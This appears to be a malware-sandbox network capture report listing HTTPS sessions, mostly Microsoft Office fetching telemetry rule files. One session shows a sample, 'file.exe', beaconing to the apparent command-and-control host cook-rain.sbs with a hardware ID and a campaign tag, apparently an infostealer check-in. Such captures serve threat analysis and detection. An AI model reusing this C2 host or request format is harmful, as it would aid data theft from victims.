2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 42 2f 46 6d 6c 39 78 41 57 4a 62 54 6c 4a 72 6f 63 45 37 55 31 47 6a 64 62 36 68 59 47 58 52 66 50 46 38 73 47 49 34 41 6e 49 41 44 64 56 65 32 2f 44 59 2b 63 59 62 42 76 38 78 6b 53 6f 58 55 65 36 6f 4d 33 37 35 39 41 49 76 64 6d 31 6a 39 6e 6e 52 4a 6f 64 63 51 35 55 4c 4d 77 64 35 6e 45 69 42 4c 32 49 46 49 70 52 42 70 71 52 2b 74 53 55 34 67 57 30 31 71 53 4a 33 36 68 46 39 43 51 51 46 69 4d 73 67 68 32 42 62 53 78 63 2b 63 45 55 35 77 4a 61 7a 38 4f 2f 6b 6f 6d 58 46 50 33 4f 38 6f 2b 49 2f 31 69 55 55 69 4d 57 4e 53 7a 44 58 73 73 74 5a 42 2f 72 30 78 4f 42 62 43 2b 61 6b 65 33 54 79 63 67 48 6b 74 53 6a 6b 2f 61 5a 48 39 6b 63 50 31 46 37 66 63 51 54 6d 54 41 69 52 4d 53 51 48 50 39 74 52 74 53 4f 72 4a 32 5a 38 41 69 39 32 62 57 50 32 65 6f 74 31 Data Ascii: B/Fml9xAWJbTlJrocE7U1Gjdb6hYGXRfPF8sGI4AnIADdVe2/DY+cYbBv8xkSoXUe6oM3759AIvdm1j9nnRJodcQ5ULMwd5nEiBL2IFIpRBpqR+tSU4gW01qSJ36hF9CQQFiMsgh2BbSxc+cEU5wJaz8O/komXFP3O8o+I/1iUUiMWNSzDXsstZB/r0xOBbC+ake3TycgHktSjk/aZH9kcP1F7fcQTmTAiRMSQHP9tRtSOrJ2Z8Ai92bWP2eot1
2024-11-20 16:41:24 UTC	1369	IN	Data Raw: 76 53 6f 64 4c 32 6e 38 73 58 4f 57 51 44 50 39 2f 47 70 4f 47 37 34 66 31 77 67 61 2f 6c 36 33 58 30 65 63 63 6d 6b 70 69 47 43 31 2b 78 41 57 5a 65 47 45 4f 37 39 5a 58 71 56 46 50 71 71 6a 42 31 39 37 56 43 50 48 6d 76 35 33 65 73 67 6e 4b 46 51 39 6f 51 48 36 44 54 64 70 39 52 79 61 2f 34 55 4b 38 55 67 61 54 31 71 4b 46 77 59 56 54 38 2f 71 67 6e 74 69 6b 53 50 38 6f 63 32 64 37 62 34 52 54 33 6e 39 39 55 75 53 51 51 76 38 4b 57 39 72 57 2f 6f 57 42 68 55 79 39 32 72 4f 61 78 71 51 59 79 42 51 79 51 47 34 72 75 6d 50 32 4e 47 4d 4d 38 4d 46 5a 75 30 51 32 71 72 48 71 77 4e 37 37 4e 59 54 47 74 59 6d 4b 67 51 6e 4d 45 58 45 59 4c 58 54 45 42 5a 6b 59 5a 42 6e 36 6b 42 72 2f 56 6b 6a 4d 31 73 50 4f 32 4e 55 47 6f 74 71 32 6a 34 71 41 44 4e 38 56 63 52 Data Ascii: vSodL2n8sXOWQDP9/GpOG74f1wga/l63X0eccmkpiGC1+xAWZeGEO79ZXqVFPqqjB197VCPHmv53esgnKFQ9oQH6DTdp9Rya/4UK8UgaT1qKFwYVT8/qgntikSP8oc2d7b4RT3n99UuSQQv8KW9rW/oWBhUy92rOaxqQYyBQyQG4rumP2NGMM8MFZu0Q2qrHqwN77NYTGtYmKgQnMEXEYLXTEBZkYZBn6kBr/VkjM1sPO2NUGotq2j4qADN8VcR

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:26 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:26 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164126Z-185f5d8b95cdcwrthC1NYCy5b80000000ad000000000uf5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:26 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:26 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:26 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164126Z-1777c6cb754vxwc9hC1TEBykgw00000009w000000000a9s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:26 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:26 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164126Z-185f5d8b95ckwnflhC1NYCx9qs0000000ag000000000rv4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:41:26 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:26 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:26 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164126Z-r1d97b99577656nchC1TEBk98c000000094000000000gpf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:26 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:25 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:26 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:26 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: e8aec935-001e-0046-54a1-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164126Z-185f5d8b95csp6jmhC1NYCwy6s0000000ac000000000uk0a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:26 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49712	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:26 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JLK8KI1ZQOJ8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12814 Host: cook-rain.sbs
2024-11-20 16:41:26 UTC	12814	OUT	Data Raw: 2d 2d 4a 4c 4b 38 4b 49 31 5a 51 4f 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 32 32 38 38 35 46 32 31 41 36 46 31 30 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4a 4c 4b 38 4b 49 31 5a 51 4f 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 4c 4b 38 4b 49 31 5a 51 4f 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 4c 4b 38 4b 49 31 5a Data Ascii: --JLK8KI1ZQOJ8Content-Disposition: form-data; name="hwid"F5D22885F21A6F1063CFCF7E6C45F838--JLK8KI1ZQOJ8Content-Disposition: form-data; name="pid"2--JLK8KI1ZQOJ8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JLK8KI1Z
2024-11-20 16:41:27 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hbetteucgdktm6sefnajj9sb20; expires=Sun, 16-Mar-2025 10:28:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RqgXPfathHLcfdBbClTTCIRpLjWSp3pF%2BPaCWttbPFSwI0UkFvdInRpDzRuykDDfTDqnt7WZzpQ%2BefJ1EGLOHc0Z%2FB%2Fa%2FSgsqxcYHRA2ZDIIAXvJXhzm7W0eGsIvAeiR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e3356f4241bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13745&delivery_rate=1599123&cwnd=247&unsent_bytes=0&cid=473508c370e27713&ts=910&x=0"
2024-11-20 16:41:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 16:41:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:28 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:28 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164128Z-r1d97b99577jlrkbhC1TEBq8d0000000092g000000004mr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:28 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:28 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164128Z-r1d97b99577jlrkbhC1TEBq8d0000000090g00000000c1mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:28 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164128Z-r1d97b99577kk29chC1TEBemmg0000000970000000007ecc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:28 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164128Z-r1d97b99577jlrkbhC1TEBq8d000000008xg00000000ny1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
